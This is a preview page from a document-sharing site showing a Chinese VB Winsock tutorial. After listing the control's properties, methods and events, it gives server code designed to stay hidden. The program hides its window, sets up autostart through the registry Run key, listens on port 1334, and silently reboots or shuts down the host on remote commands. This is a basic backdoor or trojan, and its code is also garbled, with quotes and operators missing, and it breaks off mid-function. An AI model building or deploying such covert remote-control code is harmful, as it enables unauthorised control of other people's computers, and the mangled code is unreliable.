VB winsock 控件以及相关属性.doc_第1页
VB winsock 控件以及相关属性.doc_第2页
VB winsock 控件以及相关属性.doc_第3页
全文预览已结束

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

VB winsock 控件以及相关属性下面是Winsock控件的相关属性,方法和事件。(略去一些暂用不到的)*属性 - LocalHostName | 本地机器名 LocalIP | 本地机器IP地址 LocalPort | 本地机器通信程序的端口(0端口65536) RemoteHost | 远程机器名 RemotePort | 远程机器的通信程序端口 state | 连接的当前状态(文后有详细说明) Protocal | 使用TCP或UDP协议(这里我们选0-sckTCPProtocal) - *方法 - Listen Listen方法用于服务器程序,等待客户访问。 格式:Winsock对象.listen Connect Connect方法用于向远程主机发出连接请求 格式:Winsock对象.connect 远程主机IP,远程端口 Accept Accept方法用于接受一个连接请求 格式:Winsock对象.accept Request ID Senddata 此方法用于发送数据 格式:Winsock对象.senddata 数据 Getdata 用来取得接收到的数据 格式:Winsock对象.getdata 变量 ,数据类型 ,最大长度 Close 关闭当前连接 格式:Winsock对象.close *事件 - Close | 远程机器关闭连接时触发 Connect | 连接建立好,可以进行通信时触发(客户端) ConnectRequest | 有请求连接到达时产生(服务器端) DataArrival | 有数据到达时触发 Error | 发生错误时发生 SendProgress | 数据传送进度 - 程序代码如下: -服务器端程序(server.exe) 先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun”中增加键值winserver=c:windowsserver.exe或配置文件Win.ini的Load,run写入C:windowsserver.exe来达到目的。当然也可通过在VB5中调用API函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.Private Sub Form_Load() On Error GoTo skip 注释:如此端口已有通信程序则退出 Winsock1.LocalPort = 1334 注释:端口值应大于1024,如还有冲突可改为其他值 Winsock1.Listen Exit Sub skip: If Err.Number = 10048 Then MsgBox 端口冲突,退出!, vbOKOnly, 注意! End End If End SubPrivate Sub Winsock1_Close() If Winsock1.State sckClosed Then Winsock1.Close Winsock1.Listen 注释:关闭连接后继续监听 End SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Winsock1.State sckClosed Then Winsock1.Close Winsock1.Accept requestID 注释:请求到达时,接受连接 End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim strget As String Dim ccom As String Winsock1.GetData strget 注释:读取到达的数据 Select Case strget Case a 注释:判断到达的数据是否a,是则重启,你也可自己定义(协议就是这样产生的) ccom = curr_win() + RUNDLL.EXE user.exe,exitwindowsexec 注释:不同机器设置不一样 Call Shell(ccom, vbHide) 注释:由函数curr_win()来判断 Case b 注释:如为b则关闭计算机 ccom = curr_win() + RUNDLL.EXE user.exe,exitwindows Call Shell(ccom, vbHide) 注释:函数shell来执行命令 Case Else 注释:可以在此加入其他命令 End Select End SubFunction curr_win() As String Dim i As Integer Dim enstr As String i = 1 注释:此函数通过读取环境变量来获得Windows目录 enstr = Environ(i) Do While enstr If Len(enstr) 11 Then If Left(enstr, 11) = winbootdir= Then curr_win = Right(enstr, Len(enstr) - 11) Exit Do End If End If i = i + 1 enstr = Environ(i) Loop End FunctionPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论